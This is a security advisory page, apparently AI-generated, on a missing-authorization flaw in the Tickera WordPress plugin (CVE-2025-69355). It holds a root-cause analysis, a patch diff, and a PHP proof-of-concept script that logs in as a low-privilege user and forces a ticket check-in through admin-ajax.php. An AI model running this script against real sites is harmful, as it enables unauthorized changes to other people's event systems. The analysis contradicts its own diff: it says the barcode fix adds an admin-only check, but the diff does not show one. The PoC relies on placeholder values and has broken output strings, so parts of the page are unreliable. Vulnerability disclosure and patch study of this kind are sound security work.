Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69355: Tickera <= 3.5.6.4 – Missing Authorization (tickera-event-ticketing-system)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.5.6.4
Patched Version 3.5.6.5
Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69355:
The Tickera WordPress plugin versions up to 3.5.6.4 contain a missing authorization vulnerability affecting multiple AJAX endpoints. This allows authenticated attackers with Subscriber-level access or higher to perform administrative actions, including ticket check-ins, event data exports, and system configuration changes.

Atomic Edge research identified the root cause as insufficient capability checks in several AJAX handler functions. The vulnerable code in the `check_in_barcode()` function (tickera-event-ticketing-system/includes/addons/barcode-reader/index.php lines 42-57) performed only a nonce verification and username comparison, lacking a proper `current_user_can()` check. Similarly, the `search_event_filter()` function (tickera-event-ticketing-system/includes/addons/better-attendees-and-tickets/index.php lines 59-72) and `prepare_export_data()` function (tickera-event-ticketing-system/includes/addons/export-attendee-list/index.php lines 51-94) verified nonces but did not validate user capabilities before processing requests.

Attackers exploit this vulnerability by sending crafted POST requests to the WordPress admin-ajax.php endpoint. The attack vector requires authentication (any valid WordPress user account) and uses the plugin’s AJAX action hooks. For barcode check-in, attackers send POST requests with action parameter set to ‘check_in_barcode’, along with ‘api_key’ and ‘barcode’ parameters. For event data export, they use action ‘prepare_export_data’ with ‘event_id’ parameter. The nonce parameter is validated, but the missing capability check allows lower-privileged users to execute these administrative functions.

The patch in version 3.5.6.5 adds proper capability checks to all vulnerable functions. The fix replaces simple nonce verification with explicit `current_user_can()` checks for appropriate capabilities. In the barcode reader component, the patch adds `current_user_can(‘manage_options’)` requirement. For the export attendee list function, the patch adds `current_user_can(‘manage_options’)` before processing export data. The search event filter function now requires `current_user_can(‘manage_events_cap’)`. The patch also replaces manual `wp_verify_nonce()` calls with `check_ajax_referer()` for improved security.

Successful exploitation allows attackers with minimal privileges to perform unauthorized administrative actions. Attackers can check in tickets using any valid API key, potentially bypassing event access controls. They can export attendee lists containing sensitive personal information. Attackers can also modify event filters and perform other administrative operations, leading to data exposure and privilege escalation within the Tickera system.

Differential between vulnerable and patched code

Code Diff
--- a/tickera-event-ticketing-system/includes/addons/barcode-reader/includes/admin-pages/tc_barcode_reader.php
+++ b/tickera-event-ticketing-system/includes/addons/barcode-reader/includes/admin-pages/tc_barcode_reader.php
@@ -20,7 +20,7 @@
             }
         }

-        if ( count( $wp_api_keys_search->get_results() ) > 0 && ( current_user_can( 'manage_options' ) || ( ! current_user_can( 'manage_options' ) && $staff_api_keys_num ) ) ) { ?>
+        if ( count( $wp_api_keys_search->get_results() ) > 0 && ( current_user_can( 'manage_options' ) || $staff_api_keys_num ) ) { ?>
             <form action="" method="post" enctype="multipart/form-data">
                 <table class="checkin-table">
                     <tbody>
--- a/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
+++ b/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
@@ -42,7 +42,9 @@
          */
         function check_in_barcode() {

-            if ( isset( $_POST[ 'api_key' ] ) && isset( $_POST[ 'barcode' ] ) && defined( 'DOING_AJAX' ) && DOING_AJAX && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+            if ( isset( $_POST[ 'api_key' ] ) && isset( $_POST[ 'barcode' ] ) && defined( 'DOING_AJAX' ) && DOING_AJAX ) {

                 $api_key = sanitize_text_field( $_POST[ 'api_key' ] );
                 $barcode = sanitize_text_field( $_POST[ 'barcode' ] );
@@ -51,10 +53,7 @@
                 $current_user = wp_get_current_user();
                 $current_username = $current_user->user_login;

-                if (
-                    current_user_can( 'manage_options' )
-                    || ( ! current_user_can( 'manage_options' ) && strtolower( $api->details->api_username ) == strtolower( $current_username ) )
-                ) {
+                if ( current_user_can( 'manage_options' ) || strtolower( $api->details->api_username ) == strtolower( $current_username ) ) {

                     $checkin = new TickeraTC_Checkin_API( $api->details->api_key, apply_filters( 'tc_checkin_request_name', 'tickera_scan' ), 'return', $barcode, false );
                     $checkin_result = $checkin->ticket_checkin( false );
--- a/tickera-event-ticketing-system/includes/addons/better-attendees-and-tickets/index.php
+++ b/tickera-event-ticketing-system/includes/addons/better-attendees-and-tickets/index.php
@@ -59,12 +59,14 @@
                 add_filter( 'posts_request', array( $this, 'posts_request' ) );
             }

-            add_action( 'wp_ajax_search_event_filter', array( &$this, 'search_event_filter' ) );
+            add_action( 'wp_ajax_search_event_filter', array( $this, 'search_event_filter' ) );
         }

         function search_event_filter() {

-            if ( $_POST && isset( $_POST[ 's' ] ) && isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+            if ( current_user_can( 'manage_events_cap' ) && $_POST && isset( $_POST[ 's' ] ) ) {

                 $keyword = sanitize_text_field( $_POST[ 's' ] );
                 $count = 0;
@@ -831,7 +833,7 @@
             }
         }

-        if ( $has_api_records && ( current_user_can( 'manage_options' ) || ( ! current_user_can( 'manage_options' ) && $staff_api_keys_num > 0 ) ) ) { ?>
+        if ( $has_api_records && ( current_user_can( 'manage_options' ) || $staff_api_keys_num > 0 ) ) { ?>
             <form action="" method="post" enctype="multipart/form-data">
                 <table class="checkin-table">
                     <tbody>
--- a/tickera-event-ticketing-system/includes/addons/export-attendee-list/index.php
+++ b/tickera-event-ticketing-system/includes/addons/export-attendee-list/index.php
@@ -51,43 +51,42 @@
          */
         function prepare_export_data() {

-            if ( isset( $_POST['nonce'] ) && isset( $_POST[ 'event_id' ] ) && (int) $_POST[ 'event_id' ] ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );

-                if ( wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST[ 'event_id' ] ) && (int) $_POST[ 'event_id' ] ) {

-                    global $tc;
-                    $page = isset( $_POST[ 'page' ] ) ? (int) $_POST[ 'page' ] : 1;
+                global $tc;
+                $page = isset( $_POST[ 'page' ] ) ? (int) $_POST[ 'page' ] : 1;

-                    $ticket_instances = get_posts( [
-                        'posts_per_page' => $this->per_page,
-                        'paged' => $page,
-                        'orderby' => 'ID',
-                        'meta_key' => 'event_id',
-                        'meta_value' => (int) $_POST[ 'event_id' ],
-                        'post_type' => 'tc_tickets_instances',
-                        'post_status' => 'publish',
-                        'fields' => 'ids'
-                    ] );
-
-                    $success = $ticket_instances ? true : false;
-                    $tc_export_pdf = $tc->session->get( 'tc_export_pdf' );
-
-                    if ( 1 == $page ) {
-                        $tc_export_pdf = [];
-                    }
-
-                    $progress = ( count( $tc_export_pdf ) > 0 )
-                        ? ( count( $tc_export_pdf ) / ( $this->per_page * $page ) ) * 100
-                        : 0;
+                $ticket_instances = get_posts( [
+                    'posts_per_page' => $this->per_page,
+                    'paged' => $page,
+                    'orderby' => 'ID',
+                    'meta_key' => 'event_id',
+                    'meta_value' => (int) $_POST[ 'event_id' ],
+                    'post_type' => 'tc_tickets_instances',
+                    'post_status' => 'publish',
+                    'fields' => 'ids'
+                ] );

-                    // Progress with offset
-                    $progress = ( $progress <= 80 ) ? ( $progress / 2 ) : $progress;
+                $success = $ticket_instances ? true : false;
+                $tc_export_pdf = $tc->session->get( 'tc_export_pdf' );

-                    $tc_export_pdf = array_merge( $tc_export_pdf, $ticket_instances );
-                    $tc->session->set( 'tc_export_pdf', $tc_export_pdf );
-
-                    wp_send_json( [ 'success' => $success, 'page' => ( $page + 1 ), 'progress' => $progress ] );
+                if ( 1 == $page ) {
+                    $tc_export_pdf = [];
                 }
+
+                $progress = ( count( $tc_export_pdf ) > 0 )
+                    ? ( count( $tc_export_pdf ) / ( $this->per_page * $page ) ) * 100
+                    : 0;
+
+                // Progress with offset
+                $progress = ( $progress <= 80 ) ? ( $progress / 2 ) : $progress;
+
+                $tc_export_pdf = array_merge( $tc_export_pdf, $ticket_instances );
+                $tc->session->set( 'tc_export_pdf', $tc_export_pdf );
+
+                wp_send_json( [ 'success' => $success, 'page' => ( $page + 1 ), 'progress' => $progress ] );
             }
         }

--- a/tickera-event-ticketing-system/includes/admin-pages/settings-gateways.php
+++ b/tickera-event-ticketing-system/includes/admin-pages/settings-gateways.php
@@ -65,7 +65,7 @@
                                         } elseif ( in_array( $code, $active_gateways ) || ( ! $active_gateways && isset( $gateway->default_status ) && $gateway->default_status ) ) {
                                             $checked = ' checked="checked"';
                                         } ?>
-                                        <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo ( $permanently_active ? '' : 'tabindex="0"' ); ?>>
+                                        <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo esc_attr( $permanently_active ? '' : 'tabindex=0' ); ?>>
                                             <label>
                                                 <input type="checkbox" class="tc_active_gateways" name="tc[gateways][active][]" value="<?php echo esc_attr( $code ); ?>"<?php echo esc_html( $checked ); ?> />
                                                 <div class="check-image check-image-<?php echo esc_html( in_array( $code, $this->get_setting( 'gateways->active', array() ) ) ) ?>">
--- a/tickera-event-ticketing-system/includes/classes/class.form_fields_api.php
+++ b/tickera-event-ticketing-system/includes/classes/class.form_fields_api.php
@@ -368,9 +368,9 @@
                     <fieldset>
                         <legend class="screen-reader-text"><span><?php echo wp_kses_post( $data[ 'title' ] ); ?></span>
                         </legend>
-                        <select class="select <?php echo esc_attr( $key ) . ' ' . esc_attr( $data[ 'class' ] ) ; ?>" name="<?php echo esc_attr( $field ) . ( $data[ 'multiple' ] ? '[]' : '' ); ?>" id="<?php echo esc_attr( $field ); ?>" style="<?php echo esc_attr( $data[ 'css' ] ); ?>" <?php disabled( $data[ 'disabled' ], true ); ?> <?php echo esc_html( $this->get_custom_attribute_field( $data ) ); ?><?php echo ( $data[ 'multiple' ] ? ' multiple' : '' ); ?>>
+                        <select class="select <?php echo esc_attr( $key ) . ' ' . esc_attr( $data[ 'class' ] ) ; ?>" name="<?php echo esc_attr( $field ) . ( $data[ 'multiple' ] ? '[]' : '' ); ?>" id="<?php echo esc_attr( $field ); ?>" style="<?php echo esc_attr( $data[ 'css' ] ); ?>" <?php disabled( $data[ 'disabled' ], true ); ?> <?php echo esc_html( $this->get_custom_attribute_field( $data ) ); ?><?php echo esc_attr( $data[ 'multiple' ] ? ' multiple' : '' ); ?>>
                             <?php foreach ( (array) $data[ 'options' ] as $option_key => $option_value ) : ?>
-                                <option value="<?php echo esc_attr( $option_key ); ?>" <?php echo ( in_array( $option_key, (array) $this->get_option( $key, $data ) ) ? 'selected' : '' ); ?>><?php echo esc_attr( $option_value ); ?></option>
+                                <option value="<?php echo esc_attr( $option_key ); ?>" <?php echo esc_attr( in_array( $option_key, (array) $this->get_option( $key, $data ) ) ? 'selected' : '' ); ?>><?php echo esc_attr( $option_value ); ?></option>
                             <?php endforeach; ?>
                         </select>
                         <?php echo wp_kses_post( $this->get_description_field( $data ) ); ?>
--- a/tickera-event-ticketing-system/includes/classes/class.orders_search.php
+++ b/tickera-event-ticketing-system/includes/classes/class.orders_search.php
@@ -22,7 +22,7 @@
         var $period;
         var $period_compare;

-        function __construct( $search_term = '', $page_num = '', $per_page = '', $post_status = array( 'any' ), $period = '', $period_compare = '=' ) {
+        function __construct( $search_term = '', $page_num = '', $per_page = '', $post_status = [ 'any' ], $period = '', $period_compare = '=' ) {

             global $tc;

--- a/tickera-event-ticketing-system/includes/internal-hooks.php
+++ b/tickera-event-ticketing-system/includes/internal-hooks.php
@@ -13,7 +13,9 @@

     function tickera_trash_post_before() {

-        if ( isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+        check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+        if ( ( current_user_can( 'delete_tc_ticket' ) || current_user_can( 'delete_tc_tickets' ) ) ) {

             $btn_action = sanitize_text_field( $_POST[ 'btn_action' ] );

--- a/tickera-event-ticketing-system/includes/network-admin-pages/network_settings-gateways.php
+++ b/tickera-event-ticketing-system/includes/network-admin-pages/network_settings-gateways.php
@@ -44,7 +44,7 @@
                                 if ( $permanently_active ) {
                                     $input_class = ' auto';
                                 } ?>
-                                <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo ( $permanently_active ? '' : 'tabindex="0"' ); ?>>
+                                <div class="image-check-wrap<?php echo esc_attr( $input_class ); ?>" <?php echo esc_attr( $permanently_active ? '' : 'tabindex=0' ); ?>>
                                     <label>
                                         <input type="checkbox" class="tc_active_gateways" name="tc[gateways][active][]" value="<?php echo esc_attr( $code ); ?>"<?php echo esc_attr( in_array( $code, $this->get_network_setting( 'gateways->active', array() ) ) ) ? ' checked="checked"' : ( ( isset( $gateway->permanently_active ) && $gateway->permanently_active ) ? ' checked="checked"' : '' ); ?> <?php echo esc_attr( isset( $gateway->permanently_active ) && $gateway->permanently_active ) ? 'disabled' : ''; ?> />
                                         <div class="check-image check-image-<?php echo esc_attr( in_array( $code, $this->get_network_setting( 'gateways->active', array() ) ) ) ?>">
--- a/tickera-event-ticketing-system/includes/templates/shortcode-cart-contents.php
+++ b/tickera-event-ticketing-system/includes/templates/shortcode-cart-contents.php
@@ -151,7 +151,7 @@
                                                 <?php if ( $editable_qty ) { /* Hidden - Remove false to show */ ?>
                                                     <input class="tickera_button minus" type="button" value="-" data-action="minus"/>
                                                 <?php } ?>
-                                                <input type="<?php echo ( $editable_qty ? 'text' : 'hidden' ); ?>" inputmode="numeric" pattern="[0-9]*" name="ticket_quantity[]" min="<?php echo esc_attr( $min_quantity ); ?>" max="<?php echo esc_attr( $max_quantity ); ?>" value="<?php echo esc_attr( (int) $ordered_count ); ?>" class="quantity tc_quantity_selector<?php echo esc_attr( $frontend_tooltip ? ' tc-tooltip' : '' ); ?>" data-tooltip="<?php echo esc_attr( $frontend_tooltip ? $frontend_tooltip_quantity_selector : '' ); ?>" autocomplete="off">
+                                                <input type="<?php echo esc_attr( $editable_qty ? 'text' : 'hidden' ); ?>" inputmode="numeric" pattern="[0-9]*" name="ticket_quantity[]" min="<?php echo esc_attr( $min_quantity ); ?>" max="<?php echo esc_attr( $max_quantity ); ?>" value="<?php echo esc_attr( (int) $ordered_count ); ?>" class="quantity tc_quantity_selector<?php echo esc_attr( $frontend_tooltip ? ' tc-tooltip' : '' ); ?>" data-tooltip="<?php echo esc_attr( $frontend_tooltip ? $frontend_tooltip_quantity_selector : '' ); ?>" autocomplete="off">
                                                 <?php if ( ! $editable_qty ) : ?>
                                                     <span><?php esc_html( $ordered_count ); ?></span>
                                                 <?php endif; ?>
--- a/tickera-event-ticketing-system/includes/wizard-functions.php
+++ b/tickera-event-ticketing-system/includes/wizard-functions.php
@@ -275,7 +275,9 @@

     function tickera_ajax_installation_wizard_save_step_data() {

-        if ( isset( $_POST[ 'nonce' ] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+        check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+
+        if ( current_user_can( 'manage_options' ) ) {

             global $tc;
             $step = isset( $_POST[ 'data' ][ 'step' ] ) ? sanitize_key( $_POST[ 'data' ][ 'step' ] ) : 'start';
--- a/tickera-event-ticketing-system/tickera.php
+++ b/tickera-event-ticketing-system/tickera.php
@@ -6,7 +6,7 @@
  * Description: Sell tickets and manage event registration on your site - PDF tickets, QR/Barcode check-in, and seamless ticket sales for WordPress.
  * Author: Tickera.com
  * Author URI: https://tickera.com/
- * Version: 3.5.6.4
+ * Version: 3.5.6.5
  * Text Domain: tickera-event-ticketing-system
  * Domain Path: /languages/
  * License: GPLv2 or later
@@ -20,7 +20,7 @@
 // Exit if accessed directly
 if ( !class_exists( '\Tickera\TC' ) ) {
     class TC {
-        var $version = '3.5.6.4';
+        var $version = '3.5.6.5';

         var $title = 'Tickera';

@@ -181,7 +181,7 @@
             add_action( 'wp_ajax_get_ticket_type_instances', array($this, 'tc_get_ticket_type_instances') );
             add_action( 'wp_ajax_nopriv_add_to_cart', array($this, 'add_to_cart') );
             add_action( 'wp_ajax_add_to_cart', array($this, 'add_to_cart') );
-            add_action( 'wp_ajax_nopriv_update_cart_widget', array(&$this, 'update_cart_widget') );
+            add_action( 'wp_ajax_nopriv_update_cart_widget', array($this, 'update_cart_widget') );
             add_action( 'wp_ajax_update_cart_widget', array($this, 'update_cart_widget') );
             add_action( 'wp_ajax_change_order_status', array($this, 'change_order_status_ajax') );
             add_action( 'wp_ajax_change_event_status', array($this, 'change_event_status') );
@@ -917,7 +917,8 @@
          * @since 3.5.2.9
          */
         function tc_delete_tickets() {
-            if ( $_POST && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) && current_user_can( 'manage_options' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && $_POST ) {
                 $page = ( isset( $_POST['page'] ) ? (int) $_POST['page'] : 1 );
                 $post_per_page = apply_filters( 'tc_delete_tickets_post_per_page', 20 );
                 $delete_orders = ( isset( $_POST['delete_orders'] ) ? sanitize_key( $_POST['delete_orders'] ) : 'no' );
@@ -1173,7 +1174,7 @@
          * @return bool|false|float|string
          */
         function tc_get_ticket_type_instances() {
-            if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $ticket_instance_id = ( isset( $_POST['tc_ticket_instance_id'] ) ? (int) $_POST['tc_ticket_instance_id'] : '' );
                 // Action is not allowed on paid orders
                 $order_id = wp_get_post_parent_id( $ticket_instance_id );
@@ -1233,7 +1234,8 @@
          * Save Attendees Information
          */
         function save_attendee_info() {
-            if ( isset( $_POST['post_id'] ) && isset( $_POST['meta_name'] ) && isset( $_POST['meta_value'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['post_id'] ) && isset( $_POST['meta_name'] ) && isset( $_POST['meta_value'] ) ) {
                 $post_id = (int) $_POST['post_id'];
                 $meta_name = sanitize_text_field( $_POST['meta_name'] );
                 $meta_value = sanitize_text_field( $_POST['meta_value'] );
@@ -3858,7 +3860,7 @@
         }

         function change_event_status() {
-            if ( isset( $_POST['event_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['event_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $event_id = (int) $_POST['event_id'];
                 $post_status = sanitize_key( $_POST['event_status'] );
                 $post_data = array(
@@ -3878,7 +3880,8 @@
          * Page: Tickera > Settings > API Access
          */
         function change_apikey_event_category() {
-            if ( isset( $_POST['event_term_category'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            check_ajax_referer( 'tc_ajax_nonce', 'nonce' );
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['event_term_category'] ) ) {
                 $event_ids = [];
                 $current_term_category = (int) $_POST['event_term_category'];
                 $wp_events_search = new TC_Events_Search('', '', -1);
@@ -3901,7 +3904,7 @@
         }

         function change_ticket_status() {
-            if ( isset( $_POST['ticket_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['ticket_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $ticket_id = (int) $_POST['ticket_id'];
                 $post_status = sanitize_key( $_POST['ticket_status'] );
                 $post_data = array(
@@ -3917,7 +3920,7 @@
         }

         function change_order_status_ajax() {
-            if ( isset( $_POST['order_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
+            if ( current_user_can( 'manage_options' ) && isset( $_POST['order_id'] ) && isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'tc_ajax_nonce' ) ) {
                 $order_id = (int) $_POST['order_id'];
                 $post_status = sanitize_key( $_POST['new_status'] );
                 $post_data = array(

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69355 - Tickera <= 3.5.6.4 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69355
 * Demonstrates unauthorized barcode check-in via missing capability check
 * Requires valid WordPress user credentials (Subscriber or higher)
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'attacker_user';
$password = 'attacker_password';

// First, authenticate to WordPress to get valid session cookies and nonce
function authenticate_wordpress($url, $user, $pass) {
    $login_url = str_replace('admin-ajax.php', 'wp-login.php', $url);
    
    // Get login page to retrieve nonce
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified - real implementation would parse HTML)
    preg_match('/name="wpnonce" value="([a-f0-9]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    // Perform login
    $post_data = http_build_query([
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $url,
        'testcookie' => '1',
        'wpnonce' => $nonce
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $login_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    curl_exec($ch);
    curl_close($ch);
    
    return true;
}

// Get AJAX nonce from Tickera interface
function get_ajax_nonce($url) {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0 Atomic Edge PoC'
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // In real scenario, would parse Tickera admin page for tc_ajax_nonce
    // For PoC, we assume attacker can obtain valid nonce through normal plugin usage
    return 'valid_nonce_placeholder';
}

// Exploit barcode check-in function
function exploit_barcode_checkin($url, $nonce) {
    $post_data = [
        'action' => 'check_in_barcode',
        'nonce' => $nonce,
        'api_key' => 'any_valid_api_key',  // Attacker can use any API key they have access to
        'barcode' => 'ticket_barcode_123', // Target ticket barcode
        'tc_ajax' => 'true'
    ];
    
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($post_data),
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded',
            'X-Requested-With: XMLHttpRequest'
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "Check-in Response (HTTP $http_code):n";
    echo $response . "nn";
    
    return $response;
}

// Main execution
if (authenticate_wordpress($target_url, $username, $password)) {
    echo "Authentication successfuln";
    
    $ajax_nonce = get_ajax_nonce($target_url);
    echo "Obtained AJAX noncen";
    
    echo "Attempting unauthorized barcode check-in...n";
    $result = exploit_barcode_checkin($target_url, $ajax_nonce);
    
    if (strpos($result, 'success') !== false) {
        echo "VULNERABLE: Unauthorized check-in successfuln";
    } else {
        echo "Target may be patched or request failedn";
    }
} else {
    echo "Authentication failedn";
}

// Cleanup
@unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School